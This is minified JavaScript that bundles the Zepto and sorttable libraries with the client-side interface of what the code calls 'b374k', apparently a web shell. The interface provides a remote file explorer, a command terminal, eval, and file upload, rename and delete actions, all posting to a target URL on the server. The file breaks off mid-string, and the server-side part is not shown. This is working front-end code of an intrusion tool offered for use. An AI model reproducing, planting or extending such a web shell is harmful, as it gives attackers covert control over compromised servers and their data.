mouseup mousemove mouseover mouseout mouseenter mouseleave change select keydown keypress keyup error".split(" ").forEach(function(b){a.fn[b]=function(a){return a?this.bind(b,a):this.trigger(b)}}),["focus","blur"].forEach(function(b){a.fn[b]=function(a){return a?this.bind(b,a):this.each(function(){try{this[b]()}catch(a){}}),this}}),a.Event=function(a,b){g(a)||(b=a,a=b.type);var c=document.createEvent(i[a]||"Events"),d=!0;if(b)for(var e in b)e=="bubbles"?d=!!b[e]:c[e]=b[e];return c.initEvent(a,d,!0),y(c)}}(Zepto),function($){function triggerAndReturn(a,b,c){var d=$.Event(b);return $(a).trigger(d,c),!d.isDefaultPrevented()}function triggerGlobal(a,b,c,d){if(a.global)return triggerAndReturn(b||document,c,d)}function ajaxStart(a){a.global&&$.active++===0&&triggerGlobal(a,null,"ajaxStart")}function ajaxStop(a){a.global&&!--$.active&&triggerGlobal(a,null,"ajaxStop")}function ajaxBeforeSend(a,b){var c=b.context;if(b.beforeSend.call(c,a,b)===!1||triggerGlobal(b,c,"ajaxBeforeSend",[a,b])===!1)return!1;triggerGlobal(b,c,"ajaxSend",[a,b])}function ajaxSuccess(a,b,c,d){var e=c.context,f="success";c.success.call(e,a,f,b),d&&d.resolveWith(e,[a,f,b]),triggerGlobal(c,e,"ajaxSuccess",[b,c,a]),ajaxComplete(f,b,c)}function ajaxError(a,b,c,d,e){var f=d.context;d.error.call(f,c,b,a),e&&e.rejectWith(f,[c,b,a]),triggerGlobal(d,f,"ajaxError",[c,d,a||b]),ajaxComplete(b,c,d)}function ajaxComplete(a,b,c){var d=c.context;c.complete.call(d,b,a),triggerGlobal(c,d,"ajaxComplete",[b,c]),ajaxStop(c)}function empty(){}function mimeToDataType(a){return a&&(a=a.split(";",2)[0]),a&&(a==htmlType?"html":a==jsonType?"json":scriptTypeRE.test(a)?"script":xmlTypeRE.test(a)&&"xml")||"text"}function appendQuery(a,b){return b==""?a:(a+"&"+b).replace(/[&?]{1,2}/,"?")}function serializeData(a){a.processData&&a.data&&$.type(a.data)!="string"&&(a.data=$.param(a.data,a.traditional)),a.data&&(!a.type||a.type.toUpperCase()=="GET")&&(a.url=appendQuery(a.url,a.data),a.data=undefined)}function parseArguments(a,b,c,d){var e=!$.isFunction(b);return{url:a,data:e?b:undefined,success:e?$.isFunction(c)?c:undefined:b,dataType:e?d||c:c}}function serialize(a,b,c,d){var e,f=$.isArray(b),g=$.isPlainObject(b);$.each(b,function(b,h){e=$.type(h),d&&(b=c?d:d+"["+(g||e=="object"||e=="array"?b:"")+"]"),!d&&f?a.add(h.name,h.value):e=="array"||!c&&e=="object"?serialize(a,h,c,b):a.add(b,h)})}var jsonpID=0,document=window.document,key,name,rscript=/<script\\b[^<]*(?:(?!<\\/script>)<[^<]*)*<\\/script>/gi,scriptTypeRE=/^(?:text|application)\\/javascript/i,xmlTypeRE=/^(?:text|application)\\/xml/i,jsonType="application/json",htmlType="text/html",blankRE=/^\\s*$/;$.active=0,$.ajaxJSONP=function(a,b){if("type"in a){var c=a.jsonpCallback,d=($.isFunction(c)?c():c)||"jsonp"+ ++jsonpID,e=document.createElement("script"),f=window[d],g,h=function(a){$(e).triggerHandler("error",a||"abort")},i={abort:h},j;return b&&b.promise(i),$(e).on("load error",function(c,h){clearTimeout(j),$(e).off().remove(),c.type=="error"||!g?ajaxError(null,h||"error",i,a,b):ajaxSuccess(g[0],i,a,b),window[d]=f,g&&$.isFunction(f)&&f(g[0]),f=g=undefined}),ajaxBeforeSend(i,a)===!1?(h("abort"),i):(window[d]=function(){g=arguments},e.src=a.url.replace(/=\\?/,"="+d),document.head.appendChild(e),a.timeout>0&&(j=setTimeout(function(){h("timeout")},a.timeout)),i)}return $.ajax(a)},$.ajaxSettings={type:"GET",beforeSend:empty,success:empty,error:empty,complete:empty,context:null,global:!0,xhr:function(){return new window.XMLHttpRequest},accepts:{script:"text/javascript, application/javascript, application/x-javascript",json:jsonType,xml:"application/xml, text/xml",html:htmlType,text:"text/plain"},crossDomain:!1,timeout:0,processData:!0,cache:!0},$.ajax=function(options){var settings=$.extend({},options||{}),deferred=$.Deferred&&$.Deferred();for(key in $.ajaxSettings)settings[key]===undefined&&(settings[key]=$.ajaxSettings[key]);ajaxStart(settings),settings.crossDomain||(settings.crossDomain=/^([\\w-]+:)?\\/\\/([^\\/]+)/.test(settings.url)&&RegExp.$2!=window.location.host),settings.url||(settings.url=window.location.toString()),serializeData(settings),settings.cache===!1&&(settings.url=appendQuery(settings.url,"_="+Date.now()));var dataType=settings.dataType,hasPlaceholder=/=\\?/.test(settings.url);if(dataType=="jsonp"||hasPlaceholder)return hasPlaceholder||(settings.url=appendQuery(settings.url,settings.jsonp?settings.jsonp+"=?":settings.jsonp===!1?"":"callback=?")),$.ajaxJSONP(settings,deferred);var mime=settings.accepts[dataType],headers={},setHeader=function(a,b){headers[a.toLowerCase()]=[a,b]},protocol=/^([\\w-]+:)\\/\\//.test(settings.url)?RegExp.$1:window.location.protocol,xhr=settings.xhr(),nativeSetHeader=xhr.setRequestHeader,abortTimeout;deferred&&deferred.promise(xhr),settings.crossDomain||setHeader("X-Requested-With","XMLHttpRequest"),setHeader("Accept",mime||"*/*");if(mime=settings.mimeType||mime)mime.indexOf(",")>-1&&(mime=mime.split(",",2)[0]),xhr.overrideMimeType&&xhr.overrideMimeType(mime);(settings.contentType||settings.contentType!==!1&&settings.data&&settings.type.toUpperCase()!="GET")&&setHeader("Content-Type",settings.contentType||"application/x-www-form-urlencoded");if(settings.headers)for(name in settings.headers)setHeader(name,settings.headers[name]);xhr.setRequestHeader=setHeader,xhr.onreadystatechange=function(){if(xhr.readyState==4){xhr.onreadystatechange=empty,clearTimeout(abortTimeout);var result,error=!1;if(xhr.status>=200&&xhr.status<300||xhr.status==304||xhr.status==0&&protocol=="file:"){dataType=dataType||mimeToDataType(settings.mimeType||xhr.getResponseHeader("content-type")),result=xhr.responseText;try{dataType=="script"?(1,eval)(result):dataType=="xml"?result=xhr.responseXML:dataType=="json"&&(result=blankRE.test(result)?null:$.parseJSON(result))}catch(e){error=e}error?ajaxError(error,"parsererror",xhr,settings,deferred):ajaxSuccess(result,xhr,settings,deferred)}else ajaxError(xhr.statusText||null,xhr.status?"error":"abort",xhr,settings,deferred)}};if(ajaxBeforeSend(xhr,settings)===!1)return xhr.abort(),ajaxError(null,"abort",xhr,settings,deferred),xhr;if(settings.xhrFields)for(name in settings.xhrFields)xhr[name]=settings.xhrFields[name];var async="async"in settings?settings.async:!0;xhr.open(settings.type,settings.url,async,settings.username,settings.password);for(name in headers)nativeSetHeader.apply(xhr,headers[name]);return settings.timeout>0&&(abortTimeout=setTimeout(function(){xhr.onreadystatechange=empty,xhr.abort(),ajaxError(null,"timeout",xhr,settings,deferred)},settings.timeout)),xhr.send(settings.data?settings.data:null),xhr},$.get=function(a,b,c,d){return $.ajax(parseArguments.apply(null,arguments))},$.post=function(a,b,c,d){var e=parseArguments.apply(null,arguments);return e.type="POST",$.ajax(e)},$.getJSON=function(a,b,c){var d=parseArguments.apply(null,arguments);return d.dataType="json",$.ajax(d)},$.fn.load=function(a,b,c){if(!this.length)return this;var d=this,e=a.split(/\\s/),f,g=parseArguments(a,b,c),h=g.success;return e.length>1&&(g.url=e[0],f=e[1]),g.success=function(a){d.html(f?$("<div>").html(a.replace(rscript,"")).find(f):a),h&&h.apply(d,arguments)},$.ajax(g),this};var escape=encodeURIComponent;$.param=function(a,b){var c=[];return c.add=function(a,b){this.push(escape(a)+"="+escape(b))},serialize(c,a,b),c.join("&").replace(/%20/g,"+")}}(Zepto),function(a){a.fn.serializeArray=function(){var b=[],c;return a([].slice.call(this.get(0).elements)).each(function(){c=a(this);var d=c.attr("type");this.nodeName.toLowerCase()!="fieldset"&&!this.disabled&&d!="submit"&&d!="reset"&&d!="button"&&(d!="radio"&&d!="checkbox"||this.checked)&&b.push({name:c.attr("name"),value:c.val()})}),b},a.fn.serialize=function(){var a=[];return this.serializeArray().forEach(function(b){a.push(encodeURIComponent(b.name)+"="+encodeURIComponent(b.value))}),a.join("&")},a.fn.submit=function(b){if(b)this.bind("submit",b);else if(this.length){var c=a.Event("submit");this.eq(0).trigger(c),c.isDefaultPrevented()||this.get(0).submit()}return this}}(Zepto),function(a){"__proto__"in{}||a.extend(a.zepto,{Z:function(b,c){return b=b||[],a.extend(b,a.fn),b.selector=c||"",b.__Z=!0,b},isZ:function(b){return a.type(b)==="array"&&"__Z"in b}});try{getComputedStyle(undefined)}catch(b){var c=getComputedStyle;window.getComputedStyle=function(a){try{return c(a)}catch(b){return null}}}}(Zepto)\nvar h=!0,j=!1;sorttable={e:function(){arguments.callee.i||(arguments.callee.i=h,k&&clearInterval(k),document.createElement&&document.getElementsByTagName&&(sorttable.a=/^(\\d\\d?)[\\/\\.-](\\d\\d?)[\\/\\.-]((\\d\\d)?\\d\\d)$/,l(document.getElementsByTagName("table"),function(a){-1!=a.className.search(/\\bsortable\\b/)&&sorttable.k(a)})))},k:function(a){0==a.getElementsByTagName("thead").length&&(the=document.createElement("thead"),the.appendChild(a.rows[0]),a.insertBefore(the,a.firstChild));null==a.tHead&&(a.tHead=a.getElementsByTagName("thead")[0]);if(1==a.tHead.rows.length){sortbottomrows=[];for(var b=0;b<a.rows.length;b++)-1!=a.rows[b].className.search(/\\bsortbottom\\b/)&&(sortbottomrows[sortbottomrows.length]=a.rows[b]);if(sortbottomrows){null==a.tFoot&&(tfo=document.createElement("tfoot"),a.appendChild(tfo));for(b=0;b<sortbottomrows.length;b++)tfo.appendChild(sortbottomrows[b]);delete sortbottomrows}headrow=a.tHead.rows[0].cells;for(b=0;b<headrow.length;b++)if(!headrow[b].className.match(/\\bsorttable_nosort\\b/)){(mtch=headrow[b].className.match(/\\bsorttable_([a-z0-9]+)\\b/))&&(override=mtch[1]);headrow[b].p=mtch&&"function"==typeof sorttable["sort_"+override]?sorttable["sort_"+override]:sorttable.j(a,b);headrow[b].o=b;headrow[b].c=a.tBodies[0];var c=headrow[b],e=sorttable.q=function(){if(-1!=this.className.search(/\\bsorttable_sorted\\b/))sorttable.reverse(this.c),this.className=this.className.replace("sorttable_sorted","sorttable_sorted_reverse"),this.removeChild(document.getElementById("sorttable_sortfwdind")),sortrevind=document.createElement("span"),sortrevind.id="sorttable_sortrevind",sortrevind.innerHTML="&nbsp;&#x25B4;",this.appendChild(sortrevind);else if(-1!=this.className.search(/\\bsorttable_sorted_reverse\\b/))sorttable.reverse(this.c),this.className=this.className.replace("sorttable_sorted_reverse","sorttable_sorted"),this.removeChild(document.getElementById("sorttable_sortrevind")),sortfwdind=document.createElement("span"),sortfwdind.id="sorttable_sortfwdind",sortfwdind.innerHTML="&nbsp;&#x25BE;",this.appendChild(sortfwdind);else{theadrow=this.parentNode;l(theadrow.childNodes,function(a){1==a.nodeType&&(a.className=a.className.replace("sorttable_sorted_reverse",""),a.className=a.className.replace("sorttable_sorted",""))});(sortfwdind=document.getElementById("sorttable_sortfwdind"))&&sortfwdind.parentNode.removeChild(sortfwdind);(sortrevind=document.getElementById("sorttable_sortrevind"))&&sortrevind.parentNode.removeChild(sortrevind);this.className+=" sorttable_sorted";sortfwdind=document.createElement("span");sortfwdind.id="sorttable_sortfwdind";sortfwdind.innerHTML="&nbsp;&#x25BE;";this.appendChild(sortfwdind);row_array=[];col=this.o;rows=this.c.rows;for(var a=0;a<rows.length;a++)row_array[row_array.length]=[sorttable.d(rows[a].cells[col]),rows[a]];row_array.sort(this.p);tb=this.c;for(a=0;a<row_array.length;a++)tb.appendChild(row_array[a][1]);delete row_array}};if(c.addEventListener)c.addEventListener("click",e,j);else{e.f||(e.f=n++);c.b||(c.b={});var g=c.b.click;g||(g=c.b.click={},c.onclick&&(g[0]=c.onclick));g[e.f]=e;c.onclick=p}}}},j:function(a,b){sortfn=sorttable.l;for(var c=0;c<a.tBodies[0].rows.length;c++)if(text=sorttable.d(a.tBodies[0].rows[c].cells[b]),""!=text){if(text.match(/^-?[\\u00a3$\\u00a4]?[\\d,.]+%?$/))return sorttable.n;if(possdate=text.match(sorttable.a)){first=parseInt(possdate[1]);second=parseInt(possdate[2]);if(12<first)return sorttable.g;if(12<second)return sorttable.m;sortfn=sorttable.g}}return sortfn},d:function(a){if(!a)return"";hasInputs="function"==typeof a.getElementsByTagName&&a.getElementsByTagName("input").length;if(""!=a.title)return a.title;if("undefined"!=typeof a.textContent&&!hasInputs)return a.textContent.replace(/^\\s+|\\s+$/g,"");if("undefined"!=typeof a.innerText&&!hasInputs)return a.innerText.replace(/^\\s+|\\s+$/g,"");if("undefined"!=typeof a.text&&!hasInputs)return a.text.replace(/^\\s+|\\s+$/g,"");switch(a.nodeType){case 3:if("input"==a.nodeName.toLowerCase())return a.value.replace(/^\\s+|\\s+$/g,"");case 4:return a.nodeValue.replace(/^\\s+|\\s+$/g,"");case 1:case 11:for(var b="",c=0;c<a.childNodes.length;c++)b+=sorttable.d(a.childNodes[c]);return b.replace(/^\\s+|\\s+$/g,"");default:return""}},reverse:function(a){newrows=[];for(var b=0;b<a.rows.length;b++)newrows[newrows.length]=a.rows[b];for(b=newrows.length-1;0<=b;b--)a.appendChild(newrows[b]);delete newrows},n:function(a,b){aa=parseFloat(a[0].replace(/[^0-9.-]/g,""));isNaN(aa)&&(aa=0);bb=parseFloat(b[0].replace(/[^0-9.-]/g,""));isNaN(bb)&&(bb=0);return aa-bb},l:function(a,b){return a[0].toLowerCase()==b[0].toLowerCase()?0:a[0].toLowerCase()<b[0].toLowerCase()?-1:1},g:function(a,b){mtch=a[0].match(sorttable.a);y=mtch[3];m=mtch[2];d=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt1=y+m+d;mtch=b[0].match(sorttable.a);y=mtch[3];m=mtch[2];d=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt2=y+m+d;return dt1==dt2?0:dt1<dt2?-1:1},m:function(a,b){mtch=a[0].match(sorttable.a);y=mtch[3];d=mtch[2];m=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt1=y+m+d;mtch=b[0].match(sorttable.a);y=mtch[3];d=mtch[2];m=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt2=y+m+d;return dt1==dt2?0:dt1<dt2?-1:1},r:function(a,b){for(var c=0,e=a.length-1,g=h;g;){for(var g=j,f=c;f<e;++f)0<b(a[f],a[f+1])&&(g=a[f],a[f]=a[f+1],a[f+1]=g,g=h);e--;if(!g)break;for(f=e;f>c;--f)0>b(a[f],a[f-1])&&(g=a[f],a[f]=a[f-1],a[f-1]=g,g=h);c++}}};document.addEventListener&&document.addEventListener("DOMContentLoaded",sorttable.e,j);if(/WebKit/i.test(navigator.userAgent))var k=setInterval(function(){/loaded|complete/.test(document.readyState)&&sorttable.e()},10);window.onload=sorttable.e;var n=1;function p(a){var b=h;a||(a=((this.ownerDocument||this.document||this).parentWindow||window).event,a.preventDefault=q,a.stopPropagation=r);var c=this.b[a.type],e;for(e in c)this.h=c[e],this.h(a)===j&&(b=j);return b}function q(){this.returnValue=j}function r(){this.cancelBubble=h}Array.forEach||(Array.forEach=function(a,b,c){for(var e=0;e<a.length;e++)b.call(c,a[e],e,a)});Function.prototype.forEach=function(a,b,c){for(var e in a)"undefined"==typeof this.prototype[e]&&b.call(c,a[e],e,a)};String.forEach=function(a,b,c){Array.forEach(a.split(""),function(e,g){b.call(c,e,g,a)})};function l(a,b){if(a){var c=Object;if(a instanceof Function)c=Function;else{if(a.forEach instanceof Function){a.forEach(b,void 0);return}"string"==typeof a?c=String:"number"==typeof a.length&&(c=Array)}c.forEach(a,b,void 0)}};var loading_count=0;var running=false;var defaultTab=\'explorer\';var currentTab=$(\'#\'+defaultTab);var tabScroll=new Object;var onDrag=false;var onScroll=false;var scrollDelta=1;var scrollCounter=0;var scrollSpeed=60;var scrollTimer=\'\';var dragX=\'\';var dragY=\'\';var dragDeltaX=\'\';var dragDeltaY=\'\';var editSuccess=\'\';var terminalHistory=new Array();var terminalHistoryPos=0;var evalSupported="";var evalReady=false;var resizeTimer=\'\';var portableWidth=700;var portableMode=null;Zepto(function($){if(init_shell){var now=new Date();output("started @ "+now.toGMTString());output("cwd : "+get_cwd());output("module : "+module_to_load);show_tab();xpl_bind();eval_init();window_resize();xpl_update_status();$(window).on(\'resize\',function(e){clearTimeout(resizeTimer);resizeTimer=setTimeout("window_resize()",1000)});$(\'.menuitem\').on(\'click\',function(e){selectedTab=$(this).attr(\'href\').substr(2);show_tab(selectedTab)});$(\'#logout\').on(\'click\',function(e){var cookie=document.cookie.split(\';\');for(var i=0;i<cookie.length;i++){var entries=cookie[i],entry=entries.split("="),name=entry[0];document.cookie=name+"=\'\'; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/"}localStorage.clear();location.href=targeturl});$(\'#totop\').on(\'click\',function(e){$(window).scrollTop(0)});$(\'#totop\').on(\'mouseover\',function(e){onScroll=true;clearTimeout(scrollTimer);start_scroll(\'top\')});$(\'#totop\').on(\'mouseout\',function(e){onScroll=false;scrollCounter=0});$(\'#tobottom\').on(\'click\',function(e){$(window).scrollTop($(document).height()-$(window).height())});$(\'#tobottom\').on(\'mouseover\',function(e){onScroll=true;clearTimeout(scrollTimer);start_scroll(\'bottom\')});$(\'#tobottom\').on(\'mouseout\',function(e){onScroll=false;scrollCounter=0});$(\'#basicInfo\').on(\'mouseenter\',function(e){$(\'#toggleBasicInfo\').show()});$(\'#basicInfo\').on(\'mouseleave\',function(e){$(\'#toggleBasicInfo\').hide()});$(\'#toggleBasicInfo\').on(\'click\',function(e){$(\'#basicInfo\').hide();$(\'#showinfo\').show();$(\'#toggleBasicInfo\').hide();localStorage.setItem(\'infoBarShown\',\'hidden\')});$(\'#showinfo\').on(\'click\',function(e){$(\'#basicInfo\').show();$(\'#showinfo\').hide();localStorage.setItem(\'infoBarShown\',\'shown\')});if((infoBarShown=localStorage.getItem(\'infoBarShown\'))){if(infoBarShown==\'shown\'){$(\'#basicInfo\').show();$(\'#showinfo\').hide()}else{$(\'#basicInfo\').hide();$(\'#showinfo\').show();$(\'#toggleBasicInfo\').hide()}}else{info_refresh()}if(history.pushState){window.onpopstate=function(event){refresh_tab()}}else{window.historyEvent=function(event){refresh_tab()}}}});function output(str){console.log(\'b374k> \'+str)}function window_resize(){bodyWidth=$(\'body\').width();if(bodyWidth<=portableWidth){layout_portable()}else{layout_normal()}}function layout_portable(){nav=$(\'#nav\');menu=$(\'#menu\');headerNav=$(\'#headerNav\');content=$(\'#content\');nav.prependTo(\'#content\');nav.css(\'padding\',\'5px 8px\');nav.css(\'margin-top\',\'8px\');nav.css(\'display\',\'block\');nav.addClass(\'border\');menu.children().css(\'width\',\'100%\');menu.hide();$(\'#menuButton\').remove();headerNav.prepend("<div id=\'menuButton\' class=\'boxtitle\' onclick=\\"$(\'#menu\').toggle();\\" style=\'float-left;display:inline;padding:4px 8px;margin-right:8px;\'>menu</div>");menu.attr(\'onclick\',"\\$(\'#menu\').hide();");$(\'#xplTable tr>:nth-child(4)\').hide();$(\'#xplTable tr>:nth-child(5)\').hide();if(!win){$(\'#xplTable tr>:nth-child(6)\').hide()}tblfoot=$(\'#xplTable tfoot td:last-child\');if(tblfoot[0])tblfoot[0].colSpan=1;if(tblfoot[1])tblfoot[1].colSpan=2;$(\'.box\').css(\'width\',\'100%\');$(\'.box\').css(\'height\',\'100%\');$(\'.box\').css(\'left\',\'0px\');$(\'.box\').css(\'top\',\'0px\');paddingTop=$(\'#header\').height();content.css(\'padding-top\',paddingTop+\'px\');portableMode=true}function layout_normal(){nav=$(\'#nav\');menu=$(\'#menu\');content=$(\'#content\');nav.insertAfter(\'#b374k\');nav.css(\'padding\',\'0\');nav.css(\'margin-top\',\'0\');nav.css(\'display\',\'inline\');nav.removeClass(\'border\');menu.children().css(\'width\',\'auto\');menu.show();$(\'#menuButton\').remove();menu.attr(\'onclick\',"");$(\'#xplTable tr>:nth-child(4)\').show();$(\'#xplTable tr>:nth-child(5)\').show();if(!win){$(\'#xplTable tr>:nth-child(6)\').show();colspan=4}else colspan=3;tblfoot=$(\'#xplTable tfoot td:last-child\');if(tblfoot[0])tblfoot[0].colSpan=colspan;if(tblfoot[1])tblfoot[1].colSpan=colspan+1;paddingTop=$(\'#header\').height();content.css(\'padding-top\',paddingTop+\'px\');portableMode=false}function start_scroll(str){if(str==\'top\'){to=$(window).scrollTop()-scrollCounter;scrollCounter=scrollDelta+scrollCounter;if(to<=0){to=0;onScroll=false}else if(onScroll){scrollTimer=setTimeout("start_scroll(\'top\')",scrollSpeed);$(window).scrollTop(to)}}else if(str==\'bottom\'){to=$(window).scrollTop()+scrollCounter;scrollCounter=scrollDelta+scrollCounter;bottom=$(document).height()-$(window).height();if(to>=bottom){to=bottom;onScroll=false}else if(onScroll){scrollTimer=setTimeout("start_scroll(\'bottom\')",scrollSpeed);$(window).scrollTop(to)}}}function get_cwd(){return decodeURIComponent(get_cookie(\'cwd\'))}function fix_tabchar(el,e){if(e.keyCode==9){e.preventDefault();var s=el.selectionStart;el.value=el.value.substring(0,el.selectionStart)+"\\t"+el.value.substring(el.selectionEnd);el.selectionEnd=s+1}}function get_cookie(key){var res;return(res=new RegExp(\'(?:^|; )\'+encodeURIComponent(key)+\'=([^;]*)\').exec(document.cookie))?(res[1]):null}function set_cookie(key,value){document.cookie=key+\'=\'+encodeURIComponent(value)}function html_safe(str){if(typeof(str)=="string"){str=str.replace(/&/g,"&amp;");str=str.replace(/"/g,"&quot;");str=str.replace(/\'/g,"&#039;");str=str.replace(/</g,"&lt;");str=str.replace(/>/g,"&gt;")}return str}function ucfirst(str){return str.charAt(0).toUpperCase()+str.slice(1)}function time(){var d=new Date();return d.getTime()}function send_post(targetdata,callback,loading){if(loading==null)loading_start();$.ajax({url:targeturl,type:\'POST\',data:targetdata,success:function(res){callback(res);if(loading==null)loading_stop()},error:function(){if(loading==null)loading_stop()}})}function loading_start(){if(!running){$(\'#overlay\').show();running=true;loading_loop()}}function loading_loop(){if(running){img=$(\'#loading\');img.css(\'transform\',\'rotate(\'+loading_count+\'deg)\');img.css(\'-ms-transform\',\'rotate(\'+loading_count+\'deg)\');img.css(\'-webkit-transform\',\'rotate(\'+loading_count+\'deg)\');loading_count+=7;if(loading_count>360)loading_count=0;if(running)setTimeout("loading_loop()",20)}}function loading_stop(){if(running){img=$(\'#loading\');img.css(\'transform\',\'rotate(0deg)\');img.css(\'-ms-transform\',\'rotate(0deg)\');img.css(\'-webkit-transform\',\'rotate(0deg)\');$(\'#overlay\').hide();running=false}}function show_tab(id){if(!id){if(location.hash!=\'\')id=location.hash.substr(2);else id=defaultTab}refresh_tab(id)}function refresh_tab(id){if(!id){if(location.hash!=\'\')id=location.hash.substr(2);else id=defaultTab}$(\'.menuitemSelected\').removeClass("menuitemSelected");$(\'#menu\'+id).addClass("menuitemSelected");tabScroll[currentTab.attr(\'id\')]=$(window).scrollTop();currentTab.hide();currentTab=$(\'#\'+id);currentTab.show();window[id]();if(tabScroll[id]){$(window).scrollTop(tabScroll[id])}hide_box()}function trap_enter(e,callback){if(e.keyCode==13){if(callback!=null)window[callback]()}}function show_box(title,content){onDrag=false;hide_box();box="<div class=\'box\'><p class=\'boxtitle\'>"+title+"<span class=\'boxclose floatRight\'>x</span></p><div class=\'boxcontent\'>"+content+"</div><div class=\'boxresult\'></div></div>";$(\'#content\').append(box);box_width=$(\'.box\').width();body_width=$(\'body\').width();box_height=$(\'.box\').height();body_height=$(\'body\').height();x=(body_width-box_width)/2;y=(body_height-box_height)/2;if(x<0||portableMode)x=0;if(y<0||portableMode)y=0;if(portableMode){$(\'.box\').css(\'width\',\'100%\');$(\'.box\').css(\'height\',\'100%\')}$(\'.box\').css(\'left\',x+\'px\');$(\'.box\').css(\'top\',y+\'px\');$(\'.boxclose\').on(\'click\',function(e){hide_box()});if(!portableMode){$(\'.boxtitle\').on(\'click\',function(e){if(!onDrag){dragDeltaX=e.pageX-parseInt($(\'.box\').css(\'left\'));dragDeltaY=e.pageY-parseInt($(\'.box\').css(\'top\'));drag_start()}else drag_stop()})}$(document).off(\'keyup\');$(document).on(\'keyup\',function(e){if(e.keyCode==27)hide_box()});if($(\'.box input\')[0])$(\'.box input\')[0].focus()}function hide_box(){$(document).off(\'keyup\');$(\'.box\').remove()}function drag_start(){if(!onDrag){onDrag=true;$(\'body\').off(\'mousemove\');$(\'body\').on(\'mousemove\',function(e){dragX=e.pageX;dragY=e.pageY});setTimeout(\'drag_loop()\',50)}}function drag_loop(){if(onDrag){x=dragX-dragDeltaX;y=dragY-dragDeltaY;if(y<0)y=0;$(\'.box\').css(\'left\',x+\'px\');$(\'.box\').css(\'top\',y+\'px\');setTimeout(\'drag_loop()\',50)}}function drag_stop(){onDrag=false;$(\'body\').off(\'mousemove\')}function get_all_cbox_selected(id,callback){var buffer=new Array();$(\'#\'+id).find(\'.cBoxSelected\').not(\'.cBoxAll\').each(function(i){if((href=window[callback]($(this)))){buffer[i]=href}});return buffer}function cbox_bind(id,callback){$(\'#\'+id).find(\'.cBox\').off(\'click\');$(\'#\'+id).find(\'.cBoxAll\').off(\'click\');$(\'#\'+id).find(\'.cBox\').on(\'click\',function(e){if($(this).hasClass(\'cBoxSelected\')){$(this).removeClass(\'cBoxSelected\')}else $(this).addClass(\'cBoxSelected\');if(callback!=null)window[callback]()});$(\'#\'+id).find(\'.cBoxAll\').on(\'click\',function(e){if($(this).hasClass(\'cBoxSelected\')){$(\'#\'+id).find(\'.cBox\').removeClass(\'cBoxSelected\');$(\'#\'+id).find(\'.cBoxAll\').removeClass(\'cBoxSelected\')}else{$(\'#\'+id).find(\'.cBox\').not(\'.cBoxException\').addClass(\'cBoxSelected\');$(\'#\'+id).find(\'.cBoxAll\').not(\'.cBoxException\').addClass(\'cBoxSelected\')}if(callback!=null)window[callback]()})}function action(path,type){title="Action";content=\'\';if(type==\'file\')content="<table class=\'boxtbl\'><tr><td><input type=\'text\' value=\'"+path+"\' disabled></td></tr><tr data-path=\'"+path+"\'><td><span class=\'edit button\'>edit</span><span class=\'ren button\'>rename</span><span class=\'del button\'>delete</span><span class=\'dl button\'>download</span></td></tr></table>";if(type==\'dir\')content="<table class=\'boxtbl\'><tr><td><input type=\'text\' value=\'"+path+"\' disabled></td></tr><tr data-path=\'"+path+"\'><td><span class=\'find button\'>find</span><span class=\'ul button\'>upload</span><span class=\'ren button\'>rename</span><span class=\'del button\'>delete</span></td></tr></table>";if(type==\'dot\')content="<table class=\'boxtbl\'><tr><td><input type=\'text\' value=\'"+path+"\' disabled></td></tr><tr data-path=\'"+path+"\'><td><span class=\'find button\'>find</span><span class=\'ul button\'>upload</span><span class=\'ren button\'>rename</span><span class=\'del button\'>delete</span><span class=\'newfile button\'>new file</span><span class=\'newfolder button\'>new folder</span></td></tr></table>";show_box(title,content);xpl_bind()}function navigate(path,showfiles){if(showfiles==null)showfiles=\'true\';send_post({cd:path,showfiles:showfiles},function(res){if(res!=\'error\'){splits=res.split(\'{[|b374k|]}\');if(splits.length==3){$(\'#nav\').html(splits[1]);if(showfiles==\'true\'){$(\'#explorer\').html(\'\');$(\'#explorer\').html(splits[2]);sorttable.k($(\'#xplTable\').get(0))}$(\'#terminalCwd\').html(html_safe(get_cwd())+\'&gt;\');xpl_bind();window_resize()}}})}function view(path,type,preserveTimestamp){if(preserveTimestamp==null)preserveTimestamp=\'true\';send_post({viewFile:path,viewType:type,preserveTimestamp:preserveTimestamp},function(res){if(res!=\'error\'){$(\'#explorer\').html(\'\');$(\'#explorer\').html(res);xpl_bind();show_tab(\'explorer\');if((type==\'edit\')||(type==\'hex\')){editResult=(type==\'edit\')?$(\'#editResult\'):$(\'#editHexResult\');if(editSuccess==\'success\'){editResult.html(\' ( File saved )\')}else if(editSuccess==\'error\'){editResult.html(\' ( Failed to save file )\')}editSuccess=\'\'}cbox_bind(\'editTbl\')}})}function view_entry(el){if($(el).attr(\'data-path\')!=\'\'){entry=$(el).attr(\'data-path\');$(\'#form\').append("<input type=\'hidden\' name=\'viewEntry\' value=\'"+entry+"\'>");$(\'#form\').submit();$(\'#form\').html(\'\')}}function ren(path){title="Rename";content="<table class=\'boxtbl\'><tr><td class=\'colFit\'>Rename to</td><td><input type=\'text\' class=\'renameFileTo\' value=\'"+path+"\' onkeydown=\\"trap_enter(event, \'ren_go\');\\"><input type=\'hidden\' class=\'renameFile\' value=\'"+path+"\'></td></tr><tr><td colspan=\'2\'><span class=\'button\' onclick=\'ren_go();\'>rename</span></td></tr></table>";show_box(title,content)}function ren_go(){renameFile=$(\'.renameFile\').val();renameFileTo=$(\'.renameFileTo\').val();send_post({renameFile:renameFile,renameFileTo:renameFileTo},function(res){if(res!=\'error\'){navigate(res);$(\'.boxresult\').html(\'Operation(s) succeeded\');$(\'.renameFile\').val($(\'.renameFileTo\').val())}else $(\'.boxresult\').html(\'Operation(s) failed\')})}function newfolder(path){title="New Folder";path=path+\'newfolder-\'+time();content="<table class=\'boxtbl\'><tr><td class=\'colFit\'>Folder Name</td><td><input type=\'text\' class=\'newFolder\' value=\'"+path+"\' onkeydown=\\"trap_enter(event, \'newfolder_go\');\\"></td></tr><tr><td colspan=\'2\'><span class=\'button\' onclick=\'newfolder_go();\'>create</span></td></tr></table>";show_box(title,content)}function newfolder_go(){newFolder=$(\'.newFolder\').val();send_post({newFolder:newFolder},function(res){if(res!=\'error\'){navigate(res);$(\'.boxresult\').html(\'Operation(s) succeeded\')}else $(\'.boxresult\').html(\'Operation(s) failed\')})}function newfile(path){title="New File";path=path+\'newfile-\'+time();content="<table class=\'boxtbl\'><tr><td class=\'colFit\'>File Name</td><td><input type=\'text\' class=\'newFile\' 